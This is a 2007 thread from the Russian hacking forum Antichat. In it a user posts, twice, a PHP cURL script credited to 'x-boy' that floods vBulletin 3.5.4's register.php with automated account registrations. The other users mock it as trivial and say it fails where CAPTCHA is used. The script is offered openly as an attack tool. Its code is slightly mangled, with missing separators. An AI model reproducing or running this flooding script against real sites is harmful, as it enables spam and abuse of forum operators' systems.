ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

vBulletin 3.5.4 flooder.
  #1  
Старый 16.08.2007, 20:58
Аватар для Mo4x
Mo4x
Постоянный
Регистрация: 18.02.2007
Сообщений: 416
Провел на форуме:
3509350

Репутация: 412
По умолчанию vBulletin 3.5.4 flooder.

PHP код:
####################### vBulletin Version 3.5.4 #########################
Script     : vBulletin Version 3.5.4
site       : www.vbulletin.com
Exploit by : x-boy
E-mail     : Dicomdk@gmail.com
Type       : Registration flood in register.php
Thanks to  : Simo64
#########################################################################
Code of exploit (For english version , you can change it to other language)=> exploit.php
cURL Must be activated  (http://curl.haxx.se)
Sorry for my bad English  :-)
#########################################################################
<?
set_time_limit
(60);
//You can change 10 to other numbers 
for($i $i <= 10 $i++)
{
//to put curl to send POST request
$ch curl_init();
//change http://localhost/vb3 to the url of the script
curl_setopt($ch CURLOPT_URL 'http://localhost/vb3/register.php');
curl_setopt($ch CURLOPT_POST 1) ;
curl_setopt($ch CURLOPT_POSTFIELDS 'agree=1&s=&do=addmember&url=index.php&password_md5=&passwordconfirm_md5=&day=0&month=0&year=0&username=x-boy'.$i.'&password=elmehdi&passwordconfirm=elmehdi&email=dicomdk'.$i.'@gmail.com&emailconfirm=dicomdk'.$i.'@gmail.com&referrername=&timezoneoffset=(GMT -12:00) Eniwetok, Kwajalein&dst=DST corrections always on&options[showemail]=1');
curl_exec($ch);
curl_close($ch);
}
//Flood finished  good luck
?>
##########################################################################

PHP код:
<?
set_time_limit
(60);
//You can change 10 to other numbers 
for($i $i <= 10 $i++)
{
//to put curl to send POST request
$ch curl_init();
//change http://localhost/vb3 to the url of the script
curl_setopt($ch CURLOPT_URL 'http://localhost/vb3/register.php');
curl_setopt($ch CURLOPT_POST 1) ;
curl_setopt($ch CURLOPT_POSTFIELDS 'agree=1&s=&do=addmember&url=index.php&password_md5=&passwordconfirm_md5=&day=0&month=0&year=0&username=x-boy'.$i.'&password=elmehdi&passwordconfirm=elmehdi&email=dicomdk'.$i.'@gmail.com&emailconfirm=dicomdk'.$i.'@gmail.com&referrername=&timezoneoffset=(GMT -12:00) Eniwetok, Kwajalein&dst=DST corrections always on&options[showemail]=1');
curl_exec($ch);
curl_close($ch);
}
//Flood finished  good luck
?>
This isn't a perl script, the script si coded in php language

Последний раз редактировалось Mo4x™; 16.08.2007 в 21:00..
 
Ответить с цитированием

  #2  
Старый 16.08.2007, 21:07
Аватар для GreenBear
GreenBear
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
Провел на форуме:
19975136

Репутация: 4536


Отправить сообщение для GreenBear с помощью ICQ
По умолчанию

мде...
крутые личности... какие флудеры пишут... просто гениально...

Последний раз редактировалось GreenBear; 16.08.2007 в 21:10..
 
Ответить с цитированием

  #3  
Старый 16.08.2007, 21:12
Аватар для Mo4x
Mo4x
Постоянный
Регистрация: 18.02.2007
Сообщений: 416
Провел на форуме:
3509350

Репутация: 412
По умолчанию

Цитата:
Сообщение от GreenBear  
мде...
крутые личности... какие флудеры пишут... просто гениально...
мм ну не всеже мы как ты гениальны.
 
Ответить с цитированием

  #4  
Старый 16.08.2007, 21:12
Аватар для fucker"ok
fucker"ok
Познавший АНТИЧАТ
Регистрация: 21.11.2004
Сообщений: 1,137
Провел на форуме:
2487541

Репутация: 761


По умолчанию

Даже не знаю что сказать... Кроме как бугага, больше ничего не приходит в голову.
Вообщем художественная самодеятельность какая-то, а не флудер. (имхо)
 
Ответить с цитированием

  #5  
Старый 16.08.2007, 21:19
Аватар для GreenBear
GreenBear
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
Провел на форуме:
19975136

Репутация: 4536


Отправить сообщение для GreenBear с помощью ICQ
По умолчанию

Цитата:
Сообщение от Mo4x™  
мм ну не всеже мы как ты гениальны.
во первых, этот "флудер" работать почти везде не будет. надеюсь объяснять почему не надо.
во вторых, раз уж автор хотел сделать код очень маленький и без всякого смысла, то можно было обойтись одной строкой, а не выпендриваться, как он умеет читать мануалы на пхп.нет
в третьих, в чем разница между 1 и 2, кроме как копирайтов в 7 раз больше кода?

Цитата:
This isn't a perl script, the script si coded in php language
ааааа! в начале не прочел, долго не мог понять почему перл так безбожно меня материт!

беру все свои слова назад.
 
Ответить с цитированием

  #6  
Старый 16.08.2007, 21:27
Аватар для C!klodoL
C!klodoL
Постоянный
Регистрация: 05.06.2007
Сообщений: 335
Провел на форуме:
4319431

Репутация: 677
По умолчанию

одно название флудер, сейчас ни встретишь ни одного форума где нет капчи, может мне выложить скрипт которым я засекаю время когда варю пельмени?
 
Ответить с цитированием

  #7  
Старый 16.08.2007, 21:30
Аватар для GreenBear
GreenBear
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
Провел на форуме:
19975136

Репутация: 4536


Отправить сообщение для GreenBear с помощью ICQ
По умолчанию

Цитата:
одно название флудер, сейчас ни встретишь ни одного форума где нет капчи, может мне выложить скрипт которым я засекаю время когда варю пельмени?
давай, а то заколебался уже с калькулятором вычислять его.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Уязвимость в vBulletin 3.5.4 ... Feshh Форумы 2 03.05.2007 11:24
Редактировать index.php в vbulletin 3.5.4 zolamt Форумы 0 13.11.2006 01:47
Спереть куки в vBulletin 3.5.4 GoRiLLa Форумы 2 16.06.2006 12:50



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ